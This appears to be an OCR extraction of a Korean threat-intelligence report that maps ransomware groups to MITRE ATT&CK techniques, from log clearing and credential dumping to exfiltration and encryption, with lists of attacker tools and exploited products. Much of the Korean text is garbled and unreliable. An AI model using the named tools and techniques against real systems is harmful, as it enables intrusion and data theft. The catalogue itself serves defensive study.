NightSky, NoName, Donex, HelloKitty, Zeon, RTMLocker
o Command Obfuscation(T1027.010)
o Fileless Storage(T1027.011)
Revil
o LNK Icon Smuggling(T1027.012)

o Encrypted/Encoded File(T1027.013)

| ©® Indicator Removal(T1070)
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o Ex> OHIE 21 AKX, gX|AEE| AHA|, WMI(Windows Management Instrumentation) ZHX{|
We/=d/4N &

LockBit, Monti, Hades, IceFire, Maze, ViceSociety, AvosLocker, BlackShadow, Hive, Nemty,
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Play, Cerber, Underground, Cloak, BlackMatter, Abyss, CrossLock, lkaruzRedTeam, Conti,
Karakurt, LostTrust, MosesStaff, RaGroup, Rhysida, RobinHood, Shadow, Sugar, SunCrypt,
Synack, Unsafe, XingLocker, Yanluowang

o Clear Windows Event Logs(T1070.001)

LockBit, BlackCat(Alphv), Hades, Clop, Royal, BlackShadow, Hive, BlackSuit, Play, 3AM,
Lambda, DarkPower, DarkRace, Donex, LostTrust, MetaEncryptor, Synapse, Rancoz,
RansomCartel, RansomHub, Rhysida, Xinof, RTMLocker

o Clear Linux or Mac System Logs(T1070.002)

o Clear Command History(T1070.003)

RansomCartel, Unsafe

o File Deletion(T1070.004)

LockBit, Mallox, 8Base, Hades, Clop, IceFire, Lv, RansomExx, BlackShadow, Revil, Qilin,
ChileLocker, Cuba, DarkBit, Nemty, Pandora, Pay2Key, RagnarLocker, Rook, BlackBasta,
Ranion, Medusa, NoName, Snatch, BlackByte, Everest, Underground, Cloak,
WarlockDarkArmy, BlackOut, Abyss, Ako, Astro, Avaddon, Babuk, BabyDuck, Cactus,
CrossLock, CryLock, CryptNet, Risen, IkaruzRedTeam, CyClops, DarkAngels, DarkPower,
DarkRace, Diavol, Donex, DoppelPaymer, EchOraix, Exorcist, HelloKitty, Knight,
BrainCipher, ElDorado, Fog, LostTrust, MetaEncryptor, GoodDay, MoneyMessage,
NetWalker, Synapse, NoEscape, Onyx, PayloadBin, Prometheus, RaGroup, Ragnarok,
Rancoz, RansomCartel, Ranzy, Relic, Rhysida, SolidBit, Synack, Xinof

o Network Share Connection Removal(T1070.005)

o  Timestomp(T1070.006)

GhostSec, BlackSuit, Handala, BlueSky, CryptNet, DoppelPaymer, LostTrust,
Yanluowang

o Clear Network Connection Histroy and Configurations(T1070.007)
o Clear Mailbox Data(T1070.008)

o Clear Persistence(T1070.009)

| @ Impair Defenses(T1562)
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LockBit, 8Base, GhostSec, Bloody, Maze, AvosLocker, BlackShadow, Hive, Hunters, Nemty,
Play, Lambda, Cactus, Risen, lkaruzRedTeam, Conti, DragonForce, Grief, Groove, Karakurt,
BrainCipher, Synapse, NoEscape, RansomHub, RobinHood, Shadow, Spook, Synack, Trigona,

Unsafe, XingLocker, Zeon

Disable or Modify Tools(T1562.001)
LockBit, 8Base, BianLian, BlackCat(Alphv), Clop, Maze, Karma, Lv, RansomExx, Royal,
ViceSociety, Hive, Hunters, Revil, Akira, Qilin, BlackSuit, Cuba, Nemty, Handala,
Pandora, RagnarLocker, Rook, BlackBasta, Ranion, Medusalocker, Medusa, Play,
Snatch, BlackByte, WarlockDarkArmy, Lambda, BlackMatter, BlackOut, Abyss, Avaddon,
Babuk, Cactus, Embargo, CryLock, CryptNet, Risen, lkaruzRedTeam, CyClops, DarkRace,
DarkSide, Donex, DragonForce, Haron, BrainCipher, Lapsus$, Lolnek, LostTrust, Midas,
Moisha, Nevada, NoEscape, Onyx, PayloadBin, Prometheus, RRansom, Ragnarok,

SolidBit, Spook, Synack, Trigona, Unsafe, XingLocker, Xinof, Zeon, CyberVolk
Disable Windows Event Logging(T1562.002)

LockBit, Qilin

Impair Command History Logging(T1562.003)

RansomExx

Disable or Modify System Firewall(T1562.004)
LockBit, 8Base, BianLian, RansomExx, BlackBasta, BlackByte, 3AM, Cactus, MosesStaff,

RansomCartel
Indicator Blocking(T1562.005)
Disable or Modify Cloud Firewall(T1562.006)
LockBit
Disable or Modify Cloud Logs(T1562.007)
Safe Mode Boot(T1562.008)

Downgrade Attack(T1562.009)
LockBit, Revil, Qilin, BlackBasta, MedusalLocker, Medusa, Snatch, Nevada, RaGroup,
CyberVolk

Spoof Security Alerting(T1562.010)

Disable or Modify Linux Audit System(T1562.011)
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Credential Access

0S5 Credential Dumping(70)

Unsecured Credentials(28)

| ©® OS Credential Dumping(T1003)

Al Ze HAE Hejol A L XHH 5Y Y

Directory Service) & &

===

i
OF

27] 9

i

=2 9 4 S Al=gtet

Ex> LSASS(Local Security Authority Subsystem Service) HZ2| EI, NTDS(Windows NT
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LockBit, 8Base, Daixin, Monti, Maze, Karma, RansomExx, ViceSociety, AvosLocker,
BlackShadow, Hive, Akira, IntelBroker, DarkBit, Lorenz, BlackBasta, Play, BlackByte, ProLock,
BlackOut, Avaddon, Cactus, Embargo, CryptBB, lkaruzRedTeam, Conti, DragonForce, Groove,
Karakurt, BrainCipher, MosesStaff, Synapse, Onyx, Pysa, RaGroup, Relic, Rhysida, Shadow,
Stormous, SenSayQ, Trigona, Unsafe, XingLocker, CyberVolk

LSASS Memory(T1003.001)
LockBit, BianLian, BlackCat(Alphv), Lv, ViceSociety, Hive, Akira, BlackSuit, Cuba, Nefilim,

Everest, BlackMatter, Cactus, Lapsus$, Quantum, RansomCartel, Rhysida
Security Account Manager(T1003.002)
NTDS(T1003.003)

BianLian, ViceSociety, Everest, Rhysida

LSA Secrets(T1003.004)
Rhysida
Cached Domain Credentials(T1003.005)
DCSync(T1003.006)
Proc Filesystem(T1003.007)

/etc/passwd and /etc/shadow(T1003.008)

RansomExx, RansomCartel

| ©® Input Capture(T1056)
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« Ex> API(Application Programming Interface) 22 &%t &, 024 O[HIE 7|E,
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LockBit, 8Base, Bloody, RansomExx, BlackShadow, Hive, Qilin, Cuba, NightSky, Handala,
RagnarlLocker, Lorenz, BlackBasta, Play, Snatch, 3AM, ProlLock, Cactus, Embargo, CrylLock,
Risen, Conti, Donex, Haron, HelloKitty, Fog, Lolnek, LostTrust, MetaEncryptor,
MoneyMessage, Synapse, NoEscape, Prometheus, Relic, Rhysida, SunCrypt, NullBulge,
Trigona, Trinity, Unsafe, RTMLocker, CyberVolk

o Keylogging(T1056.001)

LockBit, RansomExx, NoName, DragonForce, Knight, BrainCipher, MyDecryptor,
SenSayQ, NullBulge, Unsafe

o  GUI Input Capture(T1056.002)
o  Web Portal Capture(T1056.003)

o Credential APl Hooking(T1056.004)

HolyGhost, NightSky, Onyx

| @® Unsecured Credentials(T1552)
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o
LockBit, Monti, BlackCat(Alphv), Hades, AvosLocker, Hive, Nemty, Play, Embargo,
IkaruzRedTeam, Conti, DragonForce, BrainCipher, CyberVolk

o Credentials in Files(T1552.001)

LockBit, BianLian, Hades, RansomExx, Nemty, Snatch, Embargo, lkaruzRedTeam,

DragonForce, BrainCipher, Lapsus$, CyberVolk

o Credentials in Registry(T1552.002)
LockBit

o Bash History(T1552.003)

o Private Keys(T1552.004)
Lapsus$

o Cloud Instance Metadata API(T1552.005)

o Group Policy Preferences(T1552.006)
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o Container API(T1552.007)

o Chat Messages(T1552.008)

Discovery

System Information Discovery(135)
Discovery(393) ~ Filo and Directory Discovery(131)

Software Discovery(127)

I @ System Information Discovery(T1082)
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o Ex> SysteminfoS MMl LAt e %, SAE HE T &
LockBit, Mallox, 8Base, GhostSec, Monti, BianLian, RansomHouse, BlackCat(Alphv), Clop,
IceFire, Maze, Nokoyawa, Karma, RansomExx, Royal, AvosLocker, BlackShadow, Hive, Hunters,
Revil, Akira, Qilin, ChileLocker, BlackSuit, Cuba, DarkBit, HolyGhost, NightSky, Handala, Inc,
Pandora, Pay2Key, RagnarLocker, Rook, Atomsilo, Lorenz, BlackBasta, Ranion, Play, NoName,
Cerber, Snatch, Underground, Cloak, WarlockDarkArmy, 3AM, Lambda, BlackMatter,
BlackOut, Abyss, Ako, Astro, Babuk, BabyDuck, BlueSky, Cactus, Embargo, CrossLock,
CryLock, CryptBB, CryptNet, Risen, lkaruzRedTeam, Conti, CyClops, DagonLocker,
DarkAngels, DarkPower, DarkRace, DarkSide, Diavol, Donex, Donut, DoppelPaymer,
DragonForce, EchOraix, Exorcist, FSociety, Haron, HelloKitty, Karakurt, Knight, BrainCipher,
ElDorado, Fog, Lapsus$, Lilith, Lolnek, LostTrust, Meow, MetaEncryptor, GoodDay, Moisha,
MoneyMessage, MosesStaff, MountLocker, MyDecryptor, NetWalker, Nevada, Synapse,
NoEscape, Onyx, PayloadBin, Prometheus, Pysa, Quantum, RRansom, RaGroup, Ragnarok,
Rancoz, RansomHub, Ranzy, Red, Relic, Rhysida, RobinHood, Shadow, SolidBit, Spook,
Stormous, Sugar, SunCrypt, Synack, SenSayQ, Lynx, Trinity, Unsafe, XinglLocker, Xinof,
Yanluowang, Zeon, RTMLocker, CyberVolk

I @ File and Directory Discovery(T1083)
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LockBit, 8Base, GhostSec, Monti, BianLian, RansomHouse, BlackCat(Alphv), Clop, IceFire,
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Nokoyawa, Karma, Lv, RansomExx, Royal, AvoslLocker, BlackShadow, Hive, Hunters, Revil,
Akira, Qilin, IntelBroker, ChileLocker, BlackSuit, Cuba, DarkBit, HolyGhost, Nefilim, NightSky,
Inc, Pandora, RagnarLocker, Rook, Atomsilo, Lorenz, BlackBasta, Cheers, Ranion,
Medusalocker, Medusa, Play, NoName, Cerber, Snatch, BlackByte, Underground, Cloak,
WarlockDarkArmy, 3AM, ProlLock, Lambda, BlackMatter, BlackOut, Abyss, Ako, Astro,
Avaddon, Babuk, BabyDuck, BlueSky, Cactus, Embargo, CrossLock, CryLock, CryptBB,
CryptNet, Risen, lkaruzRedTeam, Conti, CyClops, DagonlLocker, DarkAngels, DarkPower,
DarkRace, Diavol, Donex, DoppelPaymer, DragonForce, Exorcist, FSociety, Haron, HelloKitty,
Karakurt, Knight, BrainCipher, Fog, Lolnek, LostTrust, Meow, MetaEncryptor, GoodDay, Midas,
Moisha, MoneyMessage, MosesStaff, MountLocker, MyDecryptor, NetWalker, Nevada,
Synapse, NoEscape, Onyx, PayloadBin, Prometheus, Pysa, Quantum, RRansom, RaGroup,
Rancoz, RansomCartel, Ranzy, Red, Relic, Rhysida, Sabbath, SolidBit, Stormous, Sugar,
SunCrypt, SenSayQ, Lynx, Trigona, Trinity, Unsafe, XingLocker, Xinof, Yanluowang, Zeon,
RTMLocker, CyberVolk

| ©® Software Discovery(T1518)
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Security Software Discovery(T1518.001)

LockBit, Hades, IceFire, RansomExx, Hive, Hunters, BlackSuit, Nemty, RagnarLocker,
Play, Cloak, 3AM, Lambda, BlackOut, Abyss, Astro, Babuk, BabyDuck, IkaruzRedTeam,
Conti, DarkAngels, Haron, Fog, LostTrust, MetaEncryptor, GoodDay, MoneyMessage,
MountLocker, MyDecryptor, Synapse, NoEscape, Onyx, Prometheus, Quantum,
RaGroup, Ranzy, Sabbath, Sugar, SunCrypt, Lynx, Trinity, Unsafe, Xinof, Zeon,
RTMLocker, 8Base, BianLian, Clop, Karma, BlackShadow, Qilin, Cuba, DarkBit, NightSky,
Rook, Atomsilo, Lorenz, BlackBasta, Ranion, NoName, Underground,
WarlockDarkArmy, Ako, BlueSky, Cactus, Embargo, CrossLock, CryptNet, Risen,
DarkPower, Diavol, Donex, Donut, DoppelPaymer, DragonForce, Exorcist, HelloKitty,
Knight, BrainCipher, ElDorado, Lolnek, Midas, Moisha, Nevada, RansomHub, Relic,
Rhysida, Stormous, SenSayQ, XingLocker, CyberVolk
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Lateral Movement

Remote Services(71)

Taint Shared Content(17)

| ©® Remote Services(T1021)
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o Ex> RDP(Remote Desktop Protocol), SMB(Server Message Block), VNC(Virtual Network
Computing), SSH(Secure SHell) &
Monti, Maze, ViceSociety, AvosLocker, BlackShadow, Hive, Medusalocker, Medusa, Play,
Cerber, 3AM, BlackMatter, Avaddon, Cactus, Conti, Karakurt, Synapse, Prometheus, Rhysida,
Shadow, Trigona

o Remote Desktop Protocol(T1021.001)
LockBit, BianLian, RansomHouse, BlackCat(Alphv), Hades, Lv, Royal, Hive, Akira,
BlackSuit, Lorenz, BlackBasta, Snatch, BlackByte, Everest, Cactus, DarkRace, Donex,

Lapsus$, RansomCartel, Rhysida, Trigona, Yanluowang

o SMB/Windows Admin Shares(T1021.002)
LockBit, RansomHouse, BlackCat(Alphv), Clop, Royal, ViceSociety, Hive, BlackSuit, Cuba,

Cheers, BlackByte, Underground, CrossLock, Groove, MosesStaff, Quantum,
RobinHood, XingLocker

o Distributed Component Object Model(T1021.003)

Hive

o SSH(T1021.004)

BlackCat(Alphv), Cactus, RansomCartel, Rhysida

o VNC(T1021.005)

BianLian

o  Windows Remote Management(T1021.006)

BianLian

o Cloud Services(T1021.007)

o Direct Cloud VM Connections(T1021.008)
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I © Lateral Tool Transfer(T1570)
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o Ex> RDP(Remote Desktop Protocol), SMB(Server Message Block), HHE®3 &/ &
BlackCat(Alphv), Hades, Clop, ViceSociety, Hive, Akira, Cuba, Nefilim, Cheers, Play, BlackByte,

Cactus, Conti, RaGroup, RansomHub, Trigona

| @ Taint Shared Content(T1080)
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8Base, Monti, Karma, ViceSociety, Hive, Cuba, BlackBasta, WarlockDarkArmy, Lambda,

BlackOut, DoppelPaymer, Exorcist, Lolnek, Meow, Synapse, Stormous, Xinof

Collection

ETTEE Ao Cokcedonus

Data Staged(20)

I ©® Data from Local System(T1005)
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LockBit, 8Base, GhostSec, BlackCat(Alphv), Hades, Clop, Karma, RansomExx, AvosLocker, Hive,
IntelBroker, ChileLocker, DarkBit, NightSky, Pandora, Lorenz, Cheers, Play, Snatch, 3AM,
ProLock, BlackOut, Babuk, Embargo, CrylLock, CryptBB, lkaruzRedTeam, Dagonlocker,
DarkPower, DoppelPaymer, DragonForce, HelloKitty, BrainCipher, Moisha, Onyx, PayloadBin,
Prometheus, Pysa, Quantum, RaGroup, Relic, Rhysida, SolidBit, Stormous, SenSayQ, Unsafe,
CyberVolk
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| ©® Archive Collected Data(T1560)
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8Base, Monti, RansomHouse, Hades, Maze, Karma, RansomExx, BlackShadow, Hive, Qilin,
BlackSuit, NightSky, RagnarLocker, Rook, Lorenz, Play, NoName, Snatch, BlueSky, CrossLock,

CryptNet, Risen, Conti, Diavol, HelloKitty, Karakurt, Lolnek, LostTrust, MetaEncryptor,

Prometheus, RobinHood, Shadow, Stormous, Unsafe, XingLocker
o Archive via Utility(T1560.001)

LockBit, BlackCat(Alphv), Akira, BlackBasta, Play, BlackByte, Everest, RansomCartel

o Archive via Library(T1560.002)

LostTrust, MetaEncryptor

o Archive via Custom Method(T1560.003)

| ©® Data Staged(T1074)
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LockBit, 8Base, BlackCat(Alphv), RansomExx, Inc, ProLock, BlackOut, BabyDuck, Embargo,

IkaruzRedTeam, Donex, DragonForce, Exorcist, HelloKitty, BrainCipher, Synapse, Lynx, Trinity

o Local Data Staging(T1074.001)

Hades, Hive

o Remote Data Staging(T1074.002)
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Command and Control

Application Layer Protocol(114)

Command and Control(237)

| @ Application Layer Protocol(T1071)
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Ingress Tool Transfer(52)
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LockBit, 8Base, GhostSec, RansomHouse, BlackCat(Alphv), Clop, IceFire, Karma, RansomExx,
Hive, Hunters, Qilin, BlackSuit, DarkBit, NightSky, Handala, Inc, Rook, Atomsilo, Lorenz, Play,
NoName, Cerber, Snatch, 3AM, Lambda, BlackOut, Ako, Babuk, BabyDuck, Cactus, Embargo,
CryLock, Risen, lkaruzRedTeam, Conti, DarkAngels, DarkSide, DoppelPaymer, DragonForce,

EchOraix, Exorcist, FSociety, Haron, HelloKitty, Karakurt, Knight, BrainCipher, EIDorado, Fog,

LostTrust, Moisha, MyDecryptor, Synapse, NoEscape, Onyx, Prometheus, RansomHub, Ranzy,

Rhysida, Shadow, Stormous, Sugar, Lynx, Trinity, Unsafe, Xinof, X001xs, Zeon, CyberVolk

o Web Protocols(T1071.001)

LockBit, 8Base, GhostSec, Maze, RansomExx, Hive, Hunters, Revil, BlackSuit, Cuba, Inc,

Medusa, Snatch, BlackByte, Everest,

Lambda,

Avaddon, BabyDuck, CrylLock,

DoppelPaymer, Exorcist, NoEscape, Onyx, Quantum, Rhysida, Sabbath, SpaceBears,

Trisec, Unsafe

o File Transfer Protocols(T1071.002)

LockBit, RansomExx, Play, Unsafe

o Mail Protocols(T1071.003)

RansomExx, Unsafe

o DNS(T1071.004)

Hades, RansomExx, Cuba, Play, Snatch, Unsafe

| @ Proxy(T1090)
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BianLian, RansomHouse, IceFire, Bloody, RansomExx, Hive, Akira, Qilin, BlackSuit, Cuba,
DarkBit, Inc, Pay2Key, Atomsilo, Lorenz, BlackBasta, Play, NoName, Underground, Cloak,
Lambda, Abyss, BlueSky, Cactus, Embargo, CryptNet, Risen, lkaruzRedTeam, Conti,
DarkAngels, DarkRace, Diavol, Donex, DragonForce, EchOraix, Exorcist, HelloKitty, Karakurt,
Knight, BrainCipher, ElDorado, Lolnek, LostTrust, GoodDay, MindWare, MosesStaff, Nevada,
Synapse, NoEscape, Onyx, Quantum, RaGroup, Rancoz, Relic, Rhysida, Shadow, Stormous,

Sugar, SunCrypt, Lynx, Trigona, Trinity, Unsafe, RTMLocker

o Internal Proxy(T1090.001)

Pay2Key

o External Proxy(71090.002)

o  Multi-hop Proxy(T1090.003)

Bloody, Hive, Cuba, RansomCartel, Vfokx

o Domain Fronting(T1090.004)

| @ Ingress Tool Transfer(T1105)
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o Ex>FTP ZE2EZE AIE, wget CH2EE =4, & HO|EE CI2EE &
LockBit, Monti, BianLian, BlackCat(Alphv), Clop, Bloody, Karma, Lv, RansomExx, Royal, Hive,
Revil, Akira, BlackSuit, Nemty, NightSky, Pandora, RagnarLocker, Atomsilo, Medusalocker,
Medusa, Play, NoName, Snatch, BlackByte, Underground, ProlLock, BlackOut, Babuk,
BabyDuck, CryLock, lkaruzRedTeam, Conti, DarkAngels, DarkSide, Haron, Karakurt, Lilith,
MosesStaff, Nevada, Prometheus, Pysa, RaGroup, RansomCartel, Shadow, Spook, Sugar,

Trigona, Unsafe, RTMLocker

44



Exfiltration

Exfiltration Over Web Service(31)
Exfiltration(76) © Exfiltation Over C2 Channel(29)

Exfiltration Over Alternative Protocol(16)

I © Exfiltration Over Web Service(T1567)
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e Ex> EEIRE AEZ|X| AE, 23" API(Application Programming Interface) AFHE S

LockBit, Mallox, Daixin, Monti, BianLian, Clop, Nefilim, BlackBasta, BlackByte, Cactus, Conti,
Groove, Karakurt, Lapsus$, Shadow, Trigona

o Exfiltration to Code Repository(T1567.001)

o Exfiltration to Cloud Storage(T1567.002)

LockBit, BianLian, RansomHouse, BlackCat(Alphv), Hades, ViceSociety, Hive, Akira,
Cheers, BlackByte, Cactus, Karakurt, RansomCartel, Rhysida, Trigona

o]

Exfiltration to Text Storage Sites(T1567.003)

Exfiltration Over Webhook(T1567.004)

o]

I @ Exfiltration Over C2 Channel(T1041)

o SAXIL #=T B U MO E [P MHE S HOIHE RESLEL

—

e Ex> C2(Command and Control) A\H{Z H|O|E H&

LockBit, Mallox, 8Base, GhostSec, BianLian, BlackCat(Alphv), RansomExx, ViceSociety, Hive,
Revil, IntelBroker, Cuba, Nefilim, BlackBasta, Play, Cerber, Everest, 3AM, BlackMatter, Conti,
CyClops, Karakurt, Synapse, Rhysida, RobinHood, Shadow, SpaceBears, Trigona, Unsafe

| @ Exfiltration Over Alternative Protocol(T1048)

o FTP(File Transfer Protocol), SMTP(Simple Mail Transfer Protocol), HTTP/S(Hypertext Transfer
Protocol/Secure), DNS(Domain Name System), SMB(Server Message Block) 52| Z2EEZZ At

&3l HIOIHE /&t

e Ex> FileZilla, WinSCP, RClone 52 At23l HO|E ML

BianLian, ViceSociety, Hive, Akira, Cheers, Medusa, Play, 3AM, Conti, Karakurt, Shadow,
Trigona
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o

o

o

Exfiltration Over Symmetric Encrypted Non-C2 Protocol(T1048.001)
Exfiltration Over Asymmetric Encrypted Non-C2 Protocol(T1048.002)

BlackCat(Alphv)

Exfiltration Over Unencrypted Non-C2 Protocol(T1048.003)

Akira

Impact

Data Encrypted for Impact(150)
——  innbiSystom Recovery®)

Service Stop(60)

| @ Data Encrypted for Impact(T1486)

CH

A

o

P AJAEIO| IHY B2 O[S esiCt

Ex> CiE7|, BICHE?| F2et En2|E5S M-S AIA"e oY A Moy Y=st

LockBit, Mallox, 8Base, GhostSec, Daixin, Monti, BianLian, RansomHouse, BlackCat(Alphv),
Hades, Clop, Bloody, Maze, Nokoyawa, Karma, Lv, RansomExx, Royal, ViceSociety,
AvoslLocker, Hive, Hunters, Revil, Akira, Qilin, IntelBroker, ChileLocker, BlackSuit, Cuba,
DarkBit, HolyGhost, Nefilim, Nemty, NightSky, Inc, Pandora, Pay2Key, RagnarLocker, Rook,
Atomsilo, Lorenz, BlackBasta, Cheers, Ranion, Medusalocker, Medusa, Play, NoName, Cerber,
Snatch, BlackByte, Everest, Underground, Cloak, WarlockDarkArmy, OxFFF, 3AM, ProlLock,
Lambda, BlackMatter, BlackOut, Abyss, Ako, Astro, Avaddon, Babuk, BabyDuck, BlueSky,
Cactus, Embargo, CrossLock, CryLock, CryptBB, CryptNet, Risen, lkaruzRedTeam, Conti,
CyClops, DagonlLocker, DarkAngels, DarkPower, DarkRace, DarkSide, Diavol, Donex,
DoppelPaymer, DragonForce, EchOraix, Groove, HelloKitty, Karakurt, Knight, BrainCipher,
ElDorado, Lilith, Lolnek, LostTrust, Midas, MoneyMessage, MosesStaff, MountLocker,
NetWalker, Nevada, Synapse, NoEscape, Onyx, PayloadBin, Prometheus, Pysa, Quantum,
RRansom, RaGroup, Ragnarok, Rancoz, RansomCartel, RansomHub, Ranzy, Red, Relic,
Rhysida, RobinHood, Sabbath, Shadow, SolidBit, SpaceBears, Sparta, Spook, Stormous,
Sugar, SunCrypt, Synack, SenSayQ, Lynx, NullBulge, Trigona, Trinity, Unsafe, Vfokx,
XingLocker, Xinof, X001xs, Yanluowang, Zeon, ZeroTolerance, RTMLocker, CyberVolk
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| © Inhibit System Recovery(T1490)

SYE7L estE AA"EES SFOHK| Rotes S M S WYES AR/SKIST.

Ex> Y 7120, 28 M= SAE, A& 57 7l S8 HIESSSHALE AH|

LockBit, Mallox, 8Base, GhostSec, Daixin, BlackCat(Alphv), Hades, Clop, Maze, Karma,
RansomExx, Royal, AvosLocker, BlackShadow, Hive, Hunters, Revil, Akira, Qilin, ChileLocker,
BlackSuit, DarkBit, Nemty, NightSky, Pandora, RagnarlLocker, Rook, BlackBasta,
Medusalocker, Medusa, Play, Cerber, Snatch, BlackByte, Underground, Cloak,
WarlockDarkArmy, 3AM, ProlLock, BlackMatter, BlackOut, Abyss, Ako, Avaddon, Babuk,
BabyDuck, Embargo, CrossLock, CryptNet, Risen, lkaruzRedTeam, Conti, CyClops,
DarkAngels, DarkPower, DarkRace, Donex, Exorcist, Grief, Karakurt, Fog, LostTrust,
MetaEncryptor, GoodDay, Midas, MindWare, MoneyMessage, NoEscape, Onyx, Prometheus,
RaGroup, Ragnarok, Rancoz, RansomHub, Rhysida, RobinHood, Shadow, Spook, SenSayQ,
Trinity, Unsafe, Xinof, ZeroTolerance

| © Service Stop(T1489)

ME|AE SRS L HlZ2Estl AHEAZE sl MHE[AE A8 + Ql=E =X|ot1, 2E

A2ES g=elot7| ?fsi MH[AE SX|THD.

Il

Ex> OIO|HH|O|A 7heEtd Z2hA & TE, WY A 2ot ER40F 2EHE MH[A SX

1

LockBit, Mallox, BlackCat(Alphv), Clop, Maze, RansomExx, Royal, AvosLocker, Hive, Hunters,
Revil, Qilin, BlackSuit, Cuba, Nefilim, Nemty, Pandora, Pay2Key, RagnarLocker, Rook,
BlackBasta, Cheers, Medusa, Play, BlackByte, Lambda, BlackMatter, Abyss, Astro, Avaddon,
Babuk, BabyDuck, Risen, lkaruzRedTeam, Conti, DarkAngels, DarkPower, DarkRace, Donex,
DragonForce, EchOraix, BrainCipher, Fog, Midas, MoneyMessage, MountLocker, Synapse,
NoEscape, Quantum, RaGroup, RansomHub, Ranzy, RobinHood, Shadow, Spook, SunCrypt,
Lynx, Zeon, RTMLocker
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WM 122 HOF MHE Q|slD AESHY| Q8 CrAst MEFS ArgsIH, o3 24 &3
E

=
S A8ttt &RM FXE 9fdl 2X2ERIS HESIILL PowerShell A3

o YO g0t g
AgE =k AL FYHe 7S A8M ERUS ALY F A=, 2 =72 FFRE U
ZEXI7F EXeict R A|AEoz T[Sty ) 2 HZE MH|AE O|&3tALE Administrative
Shares 7|52 0|83t ELo| I M& L £M 0|F =78 LIREE = A 8%= § O
2 7tX| ¢S ARSI 3 RDP(Remote Desktop Protocol), VNC(Virtual Network Computing),

SSH(Secure Shell) S3t Z2 o7 AZ AMHA 5 of= AHAZ 0|8 LI SCP(Secure
Copy), Cobalt Strike, FTP(File Transfer Protocol) &t Z2 HHM 0|5 =7 & O = E AL B A
OIX| S CIYSH ME ZZ dhrlo| E=XYBICE [MatA 2t 22 Chgz ot8E T JpE bty Xt

Mo

o

7:1()-" o}

40| = MAESH [ o2 Opadst 2~ QICt

=

rir

Reconnaissance

[ ]

Ok
N
fim|
0%
10
ro
I=!
o
-
Ok
N
=)
flfok
ol
ot
4
4]
rir
L
fo
0z
HL
min
mjo
4
A
ot
N
40
rot
0%
1
|
|.|-|
-

HET 2N

o]

= Network/Port scan

o AtZ|

oH

71

o ZEE MROIL ALIE|RF SO HE T (Pretexting), Phishing
o OSINT E7 AR

= 2 SNS S 7|E} 4= HO|EE B HE T
o 8 =% % OSINT(Open Source Intelligence) =

Aquatone

Censys

Dataspoilt
FireCompass RECON
Google

Maltego CE

nMap

Recon-Ng

Shodan

Spiderfoot
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Resource Development

. BHOL FN 3T SO BRY 4 U 4B XYL Huos Y

HolH #= % 7= OOIH AAE flet 222t 715

[e]

» OO RE MEA PR

SR E Al 22 C2(Command and Control) MH F#+=

o HE WY e sHS ol dz=E 71F
«» MO, e A, EH S5 Ad9IAL HE 32 £

| ]
E

HE /sts HHAN 2F =2t Foj

= RaaS(Ransomware-as-a-Service) A&

| |
oxt
HL
m
i
ogt
12
0x
kLI
[n

CovalentStealer
DataGrabberl
DET(Data Exfiltration Toolkit)
ExByte
Exfiltrator-22
ExMatter
Grixba
Poseidon
Powershell-RAT
PyEXxfil

Ryuk Stelaer
SG1

StealBit
Truebot

Vida

Vidar

WellMail

wevtutil.exe
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H

Amadey Bot
Bumblebee
Cobalt Strike
Dridex
Emotet
IcedID
QakBot
SystemBC

TrickBot

2449 of

Omega, 3AM, 8Base, Abyss, AdminLocker, AgainstTheWest, aGIObGVyCg, Akira, Ako, AlphalLocker, Apos,
APT73, Arcus, Astro, Atomsilo, Avaddon, AvosLocker, Babuk, BabyDuck, BianLian, BlackBasta, BlackByte,
BlackCat(Alphv), BlackLock, BlackMatter, BlackOut, BlackShadow, BlackSuit, BlackTor, Bloody, BlueSky,
Bonaci, BrainCipher, Cactus, Cerber, Cheers, ChileLocker, Cicada3301, CiphBit, Cloak, Clop, ContFR, Conti,
Cooming, CrossLock, CryLock, CryptBB, CryptNet, Cuba, CyberVolk, CyClops, DagonLocker, Daixin, DanOn,
DarkAngels, DarkBit, DarkPower, DarkRace, DarkSide, DarkVault, DataLeak, Diavol, Dispossessor, Donex,
Donut, DoppelPaymer, DoubleFace, DragonForce, EchOraix, ElDorado, Embargo, Endurance, Entropy,
Ep918, Everest, Exorcist, Fog, FSociety, Fsteam, GhostSec, GoodDay, Grief, Groove, Hades, Handala, Haron,
HellDown, HelloGookie, HelloKitty, HexaLocker, Hive, HolyGhost, Hotarus, Hunters, IceFire, Inc, Insane,
JoOfSatan, Justice_Blade, Karakurt, Karma, KillSec, Knight, Lambda, Lapiovra, Lapsus$, Lilith, LockBit,
Lolnek, Lorenz, LostTrust, Lotus, Lv, Lynx, MadCat, MadLiberator, Malas, MalekTeam, Mallox, Maze, Mbc,
Medusa, Medusalocker, Meow, MetaEncryptor, Midas, MindWare, Moisha, MoneyMessage, Monte,
Monti, MountLocker, MyDecryptor, N3tworm, Nefilim, Nemty, NetWalker, Nevada, NightSky, NoEscape,
Nokoyawa, NoName, OnePercent, Onyx, Orca, Osyolorz, Pandora, Pay2Key, PayloadBin, Play, ProLock,
Prometheus, Pryx, Pysa, Qilin, Qiulong, Qlocker, Quantum, RabbitHole, RagnarLocker, Ragnarok,
RaGroup, RAMP, Rancoz, Ranion, RansomCartel, RansomCorp, RansomCortex, Ransomed, RansomExx,
RansomHouse, RansomHub, Ranzy, Raznatovic, Red, RedAlert, Relic, Revil, Rhysida, Risen, RobinHood,
Rook, Royal, RRansom, RTMLocker, Sabbath, SenSayQ, Shadow, Shaoleaks, Slug, Snatch,
SoldiersOfSolomon, Soleenya, SolidBit, SpaceBears, Sparta, Spook, Stormous, Sugar, SunCrypt, Synack,
Synapse, Toufan, Trigona, Trinity, Trisec, Underground, Unsafe, Valencia, Vanir, Vfokx, ViceSociety,
WannaCry, WarlockDarkArmy, WereWolves, WiperLeak, X001xs, XingLocker, Xinof, Yanluowang, Zeon,

ZeroTolerance

SHE FHAEOIL 22 EQ 0 0-day F At A

HSM(Hardware Security Module) &H|2| Private 7|& EF3l Fa% 215A =%
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Initial Access

. 3%

[e]

20| 1Y 3HS Sof U2 AW HEES A8S

« ¥ M F2H: sQL Injection, File Upload

»  GO|EH|O| A ME F ofH

A28, ofE2AH 02| |

aiohttp

Apache ActiveMQ
Apache Log4j
Apache OFBiz
Atlassian

Cisco Anyconnect
Cisco ASA/FTD
Citrix Bleed
Confluence Server
ConnectWise
Exchange Server
Fortinet
GoAnywhere MFT
Jenkins

MOVEit

MS Windows
PaperCut

PHP

QNAP
ScreenConnect
SolarWinds
SonicWall Firewall
SonicWall SSLVPN
SysAid

Veeam

VMware ESXi
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o |IAB (Initial Access Broker)

in purc

If you do not have a rank and no reputation / threads or posts
XMR ONLY

Execution

. oy a3E,

o0&
o

